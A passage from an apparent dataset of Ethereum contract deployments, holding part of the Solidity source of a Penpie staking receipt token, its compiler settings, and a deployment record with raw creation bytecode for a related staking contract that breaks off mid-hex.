_underlying, address _masterPenpie, string memory name, string memory symbol) ERC20(name, symbol) {\n underlying = _underlying;\n masterPenpie = _masterPenpie;\n } \n\n // should only be called by 1. pendleStaking for Pendle Market deposits 2. masterPenpie for other general staking token such as mPendleOFT or PNP-ETH Lp tokens\n function mint(address account, uint256 amount) external virtual onlyOwner {\n _mint(account, amount);\n }\n\n // should only be called by 1. pendleStaking for Pendle Market deposits 2. masterPenpie for other general staking token such as mPendleOFT or PNP-ETH Lp tokens\n function burn(address account, uint256 amount) external virtual onlyOwner {\n _burn(account, amount);\n }\n\n // rewards are calculated based on user's receipt token balance, so reward should be updated on master penpie before transfer\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n IMasterPenpie(masterPenpie).beforeReceiptTokenTransfer(from, to, amount);\n }\n\n // rewards are calculated based on user's receipt token balance, so balance should be updated on master penpie before transfer\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n IMasterPenpie(masterPenpie).afterReceiptTokenTransfer(from, to, amount);\n }\n\n}"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 100
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {
"contracts/libraries/ERC20FactoryLib.sol": {
"ERC20FactoryLib": "0xae8e4bc88f792297a808cb5f32d4950fbbd8aeba"
}
}
}
}} |
1 | 19,493,864 | 9560652dc16b2bc24352d325799df2f3f5be430c447faee3dd331933e69b63f8 | d716e691b90c6c0a7db7d58eaafd9660206933bdac63721aae55176be30ef12c | 0cdb34e6a4d635142bb92fe403d38f636bbb77b8 | 0cdb34e6a4d635142bb92fe403d38f636bbb77b8 | 22e0ebfc23aa00538e7f4fbe4d8619605c31c53a | 60806040523480156200001157600080fd5b506200001c62000022565b620000e4565b600054610100900460ff16156200008f5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff9081161015620000e2576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6155b480620000f46000396000f3fe6080604052600436106103475760003560e01c80638456cb59116101b2578063b67b6df3116100ed578063e437ad0311610090578063e437ad0314610b09578063e6ec638b14610b29578063e7b9b93d14610b49578063efbd906014610b5f578063f23f569c14610b75578063f2fde38b14610b95578063f9051b7214610bb5578063fa8da92114610bd557600080fd5b8063b67b6df314610a13578063b702c60c14610a33578063be18a63e14610a53578063c415b95c14610a73578063ce7319ae14610a93578063d7b777a014610ab3578063de3fcde914610ad3578063e2a578cd14610ae957600080fd5b8063a8f50a4411610155578063a8f50a4414610935578063ab9c799714610948578063ad5c464814610968578063ad8fab3214610988578063ae12213b146109a8578063b0e21e8a146109c8578063b3944d52146109de578063b4606bab146109f357600080fd5b80638456cb59146107bc5780638c466507146107d15780638cbfff00146107f15780638da5cb5b14610811578063910a38241461082f578063960a8a611461084f578063a4063dbc1461086f578063a83b67d11461091557600080fd5b8063415bbe8a11610282578063698766ee11610225578063698766ee1461068f578063715018a6146106af578063719e5ff1146106c457806378f18bc8146106e457806379af55e4146107045780637cf738d2146107245780637eaa176c1461074457806382dabb211461079c57600080fd5b8063415bbe8a146105a157806342c1e587146105b757806342f86dd3146105d75780634a9d7127146105f75780635c975abb14610617578063612be6a21461063a57806362190fde1461065a578063635202741461067a57600080fd5b806331f61254116102ea57806331f61254146104c0578063323b309a146104e057806332e525f5146105005780633c41d5ab146105205780633d38b3a7146105405780633f3e2b11146105555780633f4ba83a146105755780633fd8b02f1461058a57600080fd5b80630edd75d2146103b75780630fe79ee4146103dd578063167948e01461040a5780631a2d5e6e146104205780631fed695514610440578063206aeab31461046057806324e7a688146104805780633043fed0146104a057600080fd5b366103b25760ca60009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561039c57600080fd5b505af11580156103b0573d6000803e3d6000fd5b005b600080fd5b6103ca6103c5366004614823565b610bf5565b6040519081526020015b60405180910390f35b3480156103e957600080fd5b506103fd6103f8366004614864565b610d2b565b6040516103d4919061487d565b34801561041657600080fd5b506103ca60da5481565b34801561042c57600080fd5b506103b061043b3660046148a6565b610d55565b34801561044c57600080fd5b506103b061045b3660046149dd565b610ea1565b34801561046c57600080fd5b5060d4546103fd906001600160a01b031681565b34801561048c57600080fd5b506103b061049b366004614a5c565b61120b565b3480156104ac57600080fd5b506103b06104bb366004614864565b611235565b3480156104cc57600080fd5b506103b06104db366004614a79565b611265565b3480156104ec57600080fd5b506103b06104fb366004614aba565b6113d9565b34801561050c57600080fd5b506103b061051b366004614b0b565b611573565b34801561052c57600080fd5b5060ce546103fd906001600160a01b031681565b34801561054c57600080fd5b506103ca6116ce565b34801561056157600080fd5b506103b0610570366004614a79565b61174e565b34801561058157600080fd5b506103b06117ff565b34801561059657600080fd5b506103ca6101105481565b3480156105ad57600080fd5b506103ca60d95481565b3480156105c357600080fd5b5060cf546103fd906001600160a01b031681565b3480156105e357600080fd5b506103b06105f2366004614b44565b61183d565b34801561060357600080fd5b5060cd546103fd906001600160a01b031681565b34801561062357600080fd5b5060975460ff1660405190151581526020016103d4565b34801561064657600080fd5b5060cc546103fd906001600160a01b031681565b34801561066657600080fd5b506103b0610675366004614a5c565b611925565b34801561068657600080fd5b506103ca6119b2565b34801561069b57600080fd5b506103b06106aa366004614b9a565b611a29565b3480156106bb57600080fd5b506103b0611ae5565b3480156106d057600080fd5b506103b06106df366004614864565b611af9565b3480156106f057600080fd5b506103b06106ff366004614c28565b611d51565b34801561071057600080fd5b506103b061071f366004614864565b612017565b34801561073057600080fd5b5060c9546103fd906001600160a01b031681565b34801561075057600080fd5b5061076461075f366004614864565b6120af565b604080519586526001600160a01b0390941660208601529115159284019290925290151560608301521515608082015260a0016103d4565b3480156107a857600080fd5b5060d1546103fd906001600160a01b031681565b3480156107c857600080fd5b506103b0612107565b3480156107dd57600080fd5b5060e0546103fd906001600160a01b031681565b3480156107fd57600080fd5b506103b061080c366004614a5c565b61213e565b34801561081d57600080fd5b506033546001600160a01b03166103fd565b34801561083b57600080fd5b506103b061084a366004614a5c565b612168565b34801561085b57600080fd5b506103b061086a366004614ce0565b612192565b34801561087b57600080fd5b506108d361088a366004614a5c565b60d5602052600090815260409020805460018201546002830154600384015460048501546005909501546001600160a01b03948516959385169492831693919092169160ff1686565b604080516001600160a01b03978816815295871660208701529386169385019390935293166060830152608082019290925290151560a082015260c0016103d4565b34801561092157600080fd5b506103b0610930366004614a5c565b612292565b6103ca610943366004614d42565b6122ec565b34801561095457600080fd5b506103b0610963366004614d8d565b612448565b34801561097457600080fd5b5060ca546103fd906001600160a01b031681565b34801561099457600080fd5b5060cb546103fd906001600160a01b031681565b3480156109b457600080fd5b506103b06109c3366004614864565b6125d7565b3480156109d457600080fd5b506103ca60db5481565b3480156109ea57600080fd5b5060d6546103ca565b3480156109ff57600080fd5b5060d2546103fd906001600160a01b031681565b348015610a1f57600080fd5b506103b0610a2e366004614a5c565b61261e565b348015610a3f57600080fd5b506103b0610a4e366004614a5c565b612678565b348015610a5f57600080fd5b5060d3546103fd906001600160a01b031681565b348015610a7f57600080fd5b5060dc546103fd906001600160a01b031681565b348015610a9f57600080fd5b506103b0610aae366004614de0565b6126a2565b348015610abf57600080fd5b5060df546103fd906001600160a01b031681565b348015610adf57600080fd5b506103ca60d75481565b348015610af557600080fd5b5060de546103fd906001600160a01b031681565b348015610b1557600080fd5b5060dd546103fd906001600160a01b031681565b348015610b3557600080fd5b506103b0610b44366004614b0b565b6126ea565b348015610b5557600080fd5b506103ca60e15481565b348015610b6b57600080fd5b506103ca60d05481565b348015610b8157600080fd5b506103b0610b903660046148a6565b61279f565b348015610ba157600080fd5b506103b0610bb0366004614a5c565b612871565b348015610bc157600080fd5b506103b0610bd0366004614864565b6128ea565b348015610be157600080fd5b506103b0610bf0366004614823565b61291a565b6000610bff612b55565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190610c3090309060040161487d565b602060405180830381865afa158015610c4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c719190614e2b565b60d15460c954919250610c91916001600160a01b03908116911683612baf565b6000610c9b612ce9565b60d154604051631988e37760e31b81529192506001600160a01b03169063cc471bb8903490610cd490869086908b908b90600401614e44565b60206040518083038185885af1158015610cf2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d179190614e97565b6001600160801b0316925050505b92915050565b60d68181548110610d3b57600080fd5b6000918252602090912001546001600160a01b0316905081565b600054610100900460ff1615808015610d755750600054600160ff909116105b80610d8f5750303b158015610d8f575060005460ff166001145b610db45760405162461bcd60e51b8152600401610dab90614ec0565b60405180910390fd5b6000805460ff191660011790558015610dd7576000805461ff0019166101001790555b610ddf612cfd565b610de7612d2c565b610def612d5b565b60c980546001600160a01b03199081166001600160a01b038a81169190911790925560ca8054821689841617905560ce8054821685841617905560d18054821688841617905560d28054821687841617905560d480549091169185169190911790558015610e98576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498906020015b60405180910390a15b50505050505050565b610ea9612b55565b6001600160a01b038416600090815260d5602052604090206005015460ff1615610ee6576040516333b1990560e11b815260040160405180910390fd5b60ce54604051630639860b60e51b815260009173ae8e4bc88f792297a808cb5f32d4950fbbd8aeba9163c730c16091610f319189916001600160a01b03169088908890600401614f5e565b602060405180830381865af4158015610f4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f729190614f9c565b60ce5460c954604051631d9f877360e11b81529293506000926001600160a01b0392831692633b3f0ee692610faf92879290911690600401614fb9565b6020604051808303816000875af1158015610fce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff29190614f9c565b60cd546040516353d6103d60e01b81529192506001600160a01b0316906353d6103d906110289089908590600190600401614fd3565b600060405180830381600087803b15801561104257600080fd5b505af1158015611056573d6000803e3d6000fd5b505060ce5460405163266f24b760e01b8152600481018990526001600160a01b038a8116602483015286811660448301528581166064830152909116925063266f24b79150608401600060405180830381600087803b1580156110b857600080fd5b505af11580156110cc573d6000803e3d6000fd5b50506040805160c0810182526001600160a01b038a8116808352868216602080850182815260cd5485168688019081528b861660608089018281524260808b01908152600160a08c0181815260008b815260d58a528e81209d518e546001600160a01b0319908116918f16919091178f5598518e840180548b16918f16919091179055965160028e0180548a16918e16919091179055925160038d018054891691909c1617909a555160048b0155516005909901805460ff19169915159990991790985560d6805497880181559091527fe767803f8ecf1dee6bb0345811f7312cda556058b19db6389ad9ae3568643ddd9095018054909116841790558551928352820152928301527f4c61bab17e59e06eb29c0659ba5f68dc5bc003d57587a7280d98d532d2bf312a935001905060405180910390a1505050505050565b611213612b55565b60cc80546001600160a01b0319166001600160a01b0392909216919091179055565b61123d612b55565b61384081111561126057604051636f1d586b60e01b815260040160405180910390fd5b60d055565b6002606554036112875760405162461bcd60e51b8152600401610dab90614ff7565b6002606555611294612d8a565b6001600160a01b03838116600090815260d560205260409020600281015485921633146112d457604051630c41ae1360e41b815260040160405180910390fd5b6001600160a01b03808616600090815260d560205260408120805490926112fd92911690612dd0565b6003810154604051632770a7eb60e21b81526001600160a01b0390911690639dc29fac90611331908890889060040161502e565b600060405180830381600087803b15801561134b57600080fd5b505af115801561135f573d6000803e3d6000fd5b5050825461137a92506001600160a01b0316905086866132ff565b600381015460408051868152602081018790526001600160a01b039283169289811692908916917fbae0543fc4bf2babacb67049151541b087a2a4da5d699d396cb271009390e2d2910160405180910390a45050600160655550505050565b6002606554036113fb5760405162461bcd60e51b8152600401610dab90614ff7565b6002606555611408612d8a565b6001600160a01b03848116600090815260d5602052604090206002810154869216331461144857604051630c41ae1360e41b815260040160405180910390fd5b600581015460ff1661146d57604051636a325bd960e11b815260040160405180910390fd5b6001600160a01b03808716600090815260d5602052604081208054909261149692911690612dd0565b80546114ad906001600160a01b031686308761331e565b60038101546040516340c10f1960e01b81526001600160a01b03909116906340c10f19906114e1908990889060040161502e565b600060405180830381600087803b1580156114fb57600080fd5b505af115801561150f573d6000803e3d6000fd5b50505050600381015460408051868152602081018790526001600160a01b03928316928a811692908a16917fc9bc689e1fe6f1a599d618c1d5b7a496dfd42ddd4742c79b9e31265b5bb7322b910160405180910390a4505060016065555050505050565b61157b612b55565b6001600160a01b038216600090815260d560205260409020600581015483919060ff166115bb57604051636a325bd960e11b815260040160405180910390fd5b6001600160a01b03831615806115d857506001600160a01b038416155b156115f65760405163e6c4247b60e01b815260040160405180910390fd5b6001600160a01b03848116600090815260d56020526040908190206002810180546001600160a01b0319168785169081179091556001820154600583015493516353d6103d60e01b8152929491936353d6103d9361165e938b93169160ff1690600401614fd3565b600060405180830381600087803b15801561167857600080fd5b505af115801561168c573d6000803e3d6000fd5b505050507fce3a680d01747abb9461a3d05f1da77c9cfb9a5b7a6cc1828c733dc52b154797846040516116bf919061487d565b60405180910390a15050505050565b60d1546040516370a0823160e01b81526000916001600160a01b0316906370a08231906116ff90309060040161487d565b602060405180830381865afa15801561171c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117409190614e97565b6001600160801b0316905090565b611756612d8a565b6001600160a01b038316600090815260d560205260409020600581015484919060ff1661179657604051636a325bd960e11b815260040160405180910390fd5b6040805160018082528183019092526000916020808301908036833701905050905085816000815181106117cc576117cc615047565b60200260200101906001600160a01b031690816001600160a01b0316815250506117f781868661335c565b505050505050565b6002606554036118215760405162461bcd60e51b8152600401610dab90614ff7565b600260655561182e612b55565b611836613a6b565b6001606555565b611845612b55565b6127106118528386615073565b1115611871576040516358d620b360e01b815260040160405180910390fd5b61271061187e8385615073565b111561189d576040516358d620b360e01b815260040160405180910390fd5b60d380546001600160a01b038781166001600160a01b0319928316811790935560da87905560e186905560db85905560dc8054918516919092168117909155604080519283526020830187905282018590526060820184905260808201527f21df36fcb21c91ab978e547b0b07a783b8640e4af05f7a83a11b88ce38253da39060a0016116bf565b61192d612b55565b6001600160a01b0381166119545760405163e6c4247b60e01b815260040160405180910390fd5b60df80546001600160a01b038381166001600160a01b0319831681179093556040519116917f93d91a44a19fab5f6ba1bd574636efa90c520e4cf06a6924b023f47e423c74f3916119a6918491614fb9565b60405180910390a15050565b60d254604051635305f82960e01b81526000916001600160a01b031690635305f829906119e390309060040161487d565b602060405180830381865afa158015611a00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a249190614e2b565b905090565b60cf546001600160a01b03163314611a5457604051630316025160e11b815260040160405180910390fd5b828114611a77576040516001621398b960e31b0319815260040160405180910390fd5b60d3546040516334c3b37760e11b81526001600160a01b039091169063698766ee90611aad9087908790879087906004016150cf565b600060405180830381600087803b158015611ac757600080fd5b505af1158015611adb573d6000803e3d6000fd5b5050505050505050565b611aed612b55565b611af76000613ab7565b565b611b01612b55565b600060d88281548110611b1657611b16615047565b60009182526020918290206040805160a081018252600290930290910180548352600101546001600160a01b0381169383019390935260ff600160a01b84048116151591830191909152600160a81b8304811615156060830152600160b01b909204909116151560808201529050815b60d854611b959060019061513b565b811015611c995760d8611ba9826001615073565b81548110611bb957611bb9615047565b906000526020600020906002020160d88281548110611bda57611bda615047565b600091825260209091208254600290920201908155600191820180549290910180546001600160a01b031981166001600160a01b039094169384178255825460ff600160a01b91829004811615159091026001600160a81b0319909216909417178082558254600160a81b90819004851615150260ff60a81b198216811783559254600160b01b90819004909416151590930260ff60b01b1990921661ffff60a81b199093169290921717905580611c918161514e565b915050611b86565b5060d8805480611cab57611cab615167565b60008281526020812060026000199093019283020181815560010180546001600160b81b03191690559155815160d7805491929091611ceb90849061513b565b9091555050805160208083015160408085015160608087015183519687526001600160a01b03909416948601949094521515908401521515908201527ff8d0e93ab5bb2949217d7909d7a0a1c922cdebb049a6fe248eb99bbc63bcf0c0906080016119a6565b611d59612b55565b6001600160a01b038216600081815260d56020526040808220815163c4f59f9b60e01b8152915190939163c4f59f9b91600480830192869291908290030181865afa158015611dac573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611dd4919081019061517d565b90508251815114611e0d5760405162461bcd60e51b815260206004820152600360248201526217171760e91b6044820152606401610dab565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190611e3e90309060040161487d565b602060405180830381865afa158015611e5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e7f9190614e2b565b905060005b8251811015611f8b5760006001600160a01b0316838281518110611eaa57611eaa615047565b60200260200101516001600160a01b031603611f045760ca5483516001600160a01b0390911690849083908110611ee357611ee3615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b6000858281518110611f1857611f18615047565b60200260200101519050611f7887858481518110611f3857611f38615047565b60200260200101518760010160009054906101000a90046001600160a01b0316898681518110611f6a57611f6a615047565b602002602001015185613b09565b5080611f838161514e565b915050611e84565b5060c9546040516370a0823160e01b815260009183916001600160a01b03909116906370a0823190611fc190309060040161487d565b602060405180830381865afa158015611fde573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120029190614e2b565b61200c919061513b565b90506117f781613f90565b600061202b6120268342615073565b6141ad565b60d1546040516364090f6160e11b8152600060048201526001600160801b03831660248201529192506001600160a01b03169063c8121ec2906044016020604051808303816000875af1158015612086573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120aa9190614e97565b505050565b60d881815481106120bf57600080fd5b6000918252602090912060029091020180546001909101549091506001600160a01b0381169060ff600160a01b8204811691600160a81b8104821691600160b01b9091041685565b6002606554036121295760405162461bcd60e51b8152600401610dab90614ff7565b6002606555612136612b55565b6118366141c7565b612146612b55565b60e080546001600160a01b0319166001600160a01b0392909216919091179055565b612170612b55565b60cd80546001600160a01b0319166001600160a01b0392909216919091179055565b61219a612b55565b61271085106121bc576040516358d620b360e01b815260040160405180910390fd5b600060d887815481106121d1576121d1615047565b600091825260209091206002909102016001810180546001600160a01b0388166001600160a81b031990911617600160a01b871515021761ffff60a81b1916600160a81b8615150260ff60b01b191617600160b01b85151502179055805460d7549192508791612241919061513b565b61224b9190615073565b60d75585815560018101546040517f699b82e4ddf9d3de54305631548f438bd57da8b6d846366457d315c30b014ee791610e8f916001600160a01b0390911690899061502e565b61229a612b55565b60cb80546001600160a01b038381166001600160a01b0319831681179093556040519116917f276b041a78f78908446ffd3d9472af67a63628407e45b0401ebfecf5314e47a1916119a6918491614fb9565b60006122f6612d8a565b60006123006116ce565b905084600003612323576040516367a5a71760e11b815260040160405180910390fd5b60c95461233b906001600160a01b031633308861331e565b60d15460c954612358916001600160a01b03918216911687612baf565b6000612362612ce9565b60d154604051631988e37760e31b81529192506001600160a01b03169063cc471bb890349061239b908a9086908b908b90600401614e44565b60206040518083038185885af11580156123b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906123de9190614e97565b506000826123ea6116ce565b6123f4919061513b565b61011054604080518a8152602081019290925281018290529091507f7bf6450c3539f2501f46986ad366594cc5c2e900e8d3a65370ae749d7b7527da9060600160405180910390a1925050505b9392505050565b612450612b55565b6127108410612472576040516358d620b360e01b815260040160405180910390fd5b6040805160a0810182528581526001600160a01b03808616602083019081528515159383019384528415156060840190815260016080850181815260d8805492830181556000908152955160029092027f5320ad99a619a90804cd2efe3a5cf0ac1ac5c41ad9ff2c61cf699efdad77109681019290925592517f5320ad99a619a90804cd2efe3a5cf0ac1ac5c41ad9ff2c61cf699efdad77109790910180549651925193511515600160b01b0260ff60b01b19941515600160a81b029490941661ffff60a81b19931515600160a01b026001600160a81b031990981692909516919091179590951716919091171790915560d78054869290612575908490615073565b9091555050604080516001600160a01b0385168152602081018690528315159181019190915281151560608201527f95a34a443b17d09f6ff25c5a6d7423b1f076b1758d5cfbb826221972647e3ed8906080015b60405180910390a150505050565b6125df612b55565b61011080549082905560408051828152602081018490527f90bec2dbd8e4a597dd4ab85251c576d4e1f4a5bb7de5773af2e8ade016b4759291016119a6565b612626612b55565b60cf80546001600160a01b038381166001600160a01b0319831681179093556040519116917fd00cc5a8189e6650ae02d7f52d209c29732ed484b8e55577b96767de25c0ae9a916119a6918491614fb9565b612680612b55565b60ce80546001600160a01b0319166001600160a01b0392909216919091179055565b6126aa612d8a565b6120aa83838080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525033925085915061335c9050565b6126f2612b55565b60de80546001600160a01b03198082166001600160a01b0386811691821790945560dd80549283168686161790556040519284169391909116917fd82b4298ed526fb373b7d78beea021779079a1a4b27e5b46c4241e4115758c499161275a91859190614fb9565b60405180910390a160dd546040517f2cdef2dbe9dd5da2b962e95a6f96fffd5da74e39742c07e985b383a4bf95c433916125c99184916001600160a01b031690614fb9565b600054610100900460ff16158080156127bf5750600054600160ff909116105b806127d95750303b1580156127d9575060005460ff166001145b6127f55760405162461bcd60e51b8152600401610dab90614ec0565b6000805460ff191660011790558015612818576000805461ff0019166101001790555b612826878787878787610d55565b6303b53800610110558015610e98576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb384740249890602001610e8f565b612879612b55565b6001600160a01b0381166128de5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dab565b6128e781613ab7565b50565b6128f2612b55565b612710811115612915576040516358d620b360e01b815260040160405180910390fd5b60d955565b306001600160a01b031663635202746040518163ffffffff1660e01b8152600401602060405180830381865afa158015612958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061297c9190614e2b565b60000361299c57604051630da1ec0160e31b815260040160405180910390fd5b60db54158015906129b6575060dc546001600160a01b0316155b806129ca575060dd546001600160a01b0316155b156129e857604051630ad13b3360e21b815260040160405180910390fd5b60d254604051600162525fcd60e11b0319815260009182916001600160a01b039091169063ff5b406690612a249030908890889060040161520b565b6000604051808303816000875af1158015612a43573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612a6b919081019061529f565b91509150600061271060db5484612a8291906152e5565b612a8c9190615312565b60dc5460ca54919250612aac916001600160a01b039081169116836132ff565b600061271060da5485612abf91906152e5565b612ac99190615312565b60ca54909150612ae3906001600160a01b031633836132ff565b600081612af0848761513b565b612afa919061513b565b60dd5460ca54919250612b1a916001600160a01b039081169116836132ff565b7f3dceb43957dc72b04d40eaf449ac8b867ea8d60ed7d860e9ba977921ab89b46685888887878787604051610e8f9796959493929190615326565b6033546001600160a01b03163314611af75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dab565b801580612c285750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90612be59030908690600401614fb9565b602060405180830381865afa158015612c02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c269190614e2b565b155b612c935760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610dab565b6120aa8363095ea7b360e01b8484604051602401612cb292919061502e565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152614204565b6000611a2461011054426120269190615073565b600054610100900460ff16612d245760405162461bcd60e51b8152600401610dab90615397565b611af76142d6565b600054610100900460ff16612d535760405162461bcd60e51b8152600401610dab90615397565b611af7614306565b600054610100900460ff16612d825760405162461bcd60e51b8152600401610dab90615397565b611af761432d565b60975460ff1615611af75760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610dab565b6001600160a01b038216600090815260d56020526040902081158015612e05575060d0546004820154612e03904261513b565b105b15612e0f57505050565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190612e4090309060040161487d565b602060405180830381865afa158015612e5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e819190614e2b565b90504282600401819055506000846001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa158015612ecc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612ef4919081019061517d565b9050600081516001600160401b03811115612f1157612f11614928565b604051908082528060200260200182016040528015612f3a578160200160208202803683370190505b50905060005b82518110156130755760006001600160a01b0316838281518110612f6657612f66615047565b60200260200101516001600160a01b031603612fc05760ca5483516001600160a01b0390911690849083908110612f9f57612f9f615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b828181518110612fd257612fd2615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401613005919061487d565b602060405180830381865afa158015613022573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130469190614e2b565b82828151811061305857613058615047565b60209081029190910101528061306d8161514e565b915050612f40565b50604051639262187b60e01b81526001600160a01b03871690639262187b906130a290309060040161487d565b6000604051808303816000875af11580156130c1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526130e991908101906153e2565b5060005b82518110156132735760006001600160a01b031683828151811061311357613113615047565b60200260200101516001600160a01b03160361316d5760ca5483516001600160a01b039091169084908390811061314c5761314c615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b600083828151811061318157613181615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016131b4919061487d565b602060405180830381865afa1580156131d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131f59190614e2b565b9050600083838151811061320b5761320b615047565b60200260200101518261321e919061513b565b905080801561325d5761325d8a87868151811061323d5761323d615047565b602090810291909101015160018b01546001600160a01b03168585613b09565b505050808061326b9061514e565b9150506130ed565b5060c9546040516370a0823160e01b815260009185916001600160a01b03909116906370a08231906132a990309060040161487d565b602060405180830381865afa1580156132c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132ea9190614e2b565b6132f4919061513b565b9050610e9881613f90565b6120aa8363a9059cbb60e01b8484604051602401612cb292919061502e565b6040516001600160a01b03808516602483015283166044820152606481018290526133569085906323b872dd60e01b90608401612cb2565b50505050565b60c9546040516370a0823160e01b815260009182916001600160a01b03909116906370a082319061339190309060040161487d565b602060405180830381865afa1580156133ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133d29190614e2b565b905060005b85518110156138d65760d560008783815181106133f6576133f6615047565b6020908102919091018101516001600160a01b031682528101919091526040016000206005015460ff1661343d57604051636a325bd960e11b815260040160405180910390fd5b600060d5600088848151811061345557613455615047565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000209050428160040181905550600087838151811061349c5761349c615047565b60200260200101516001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa1580156134e1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613509919081019061517d565b9050600081516001600160401b0381111561352657613526614928565b60405190808252806020026020018201604052801561354f578160200160208202803683370190505b50905060005b825181101561368a5760006001600160a01b031683828151811061357b5761357b615047565b60200260200101516001600160a01b0316036135d55760ca5483516001600160a01b03909116908490839081106135b4576135b4615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b8281815181106135e7576135e7615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161361a919061487d565b602060405180830381865afa158015613637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061365b9190614e2b565b82828151811061366d5761366d615047565b6020908102919091010152806136828161514e565b915050613555565b5088848151811061369d5761369d615047565b60200260200101516001600160a01b0316639262187b306040518263ffffffff1660e01b81526004016136d0919061487d565b6000604051808303816000875af11580156136ef573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261371791908101906153e2565b5060005b82518110156138bf57600083828151811061373857613738615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161376b919061487d565b602060405180830381865afa158015613788573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137ac9190614e2b565b905060008383815181106137c2576137c2615047565b6020026020010151826137d5919061513b565b90508060008181036137ea57505050506138ad565b60c95487516001600160a01b039091169088908790811061380d5761380d615047565b60200260200101516001600160a01b03160361384d5761271060e1548461383491906152e5565b61383e9190615312565b905061384a818461513b565b91505b613857818c615073565b9a506138a88e8a8151811061386e5761386e615047565b602002602001015188878151811061388857613888615047565b602090810291909101015160018b01546001600160a01b03168686613b09565b505050505b806138b78161514e565b91505061371b565b5050505080806138ce9061514e565b9150506133d7565b5060c9546040516370a0823160e01b8152600091849184916001600160a01b0316906370a082319061390c90309060040161487d565b602060405180830381865afa158015613929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061394d9190614e2b565b613957919061513b565b613961919061513b565b905061396c81613f90565b82156117f75760c95460e05460405163095ea7b360e01b81526001600160a01b039283169263095ea7b3926139a892911690879060040161502e565b6020604051808303816000875af11580156139c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139eb9190615416565b5060e05460c95460405163187179c960e11b81526001600160a01b039182166004820152602481018690526044810187905287821660648201529116906330e2f39290608401600060405180830381600087803b158015613a4b57600080fd5b505af1158015613a5f573d6000803e3d6000fd5b50505050505050505050565b613a73614360565b6097805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b604051613aad919061487d565b60405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b8015613f895760c9546001600160a01b0390811690851603613ccc5760005b60d854811015613cc657600060d88281548110613b4757613b47615047565b906000526020600020906002020190508060010160169054906101000a900460ff1615613cb357805460009061271090613b8190876152e5565b613b8b9190615312565b9050613b97818561513b565b60018301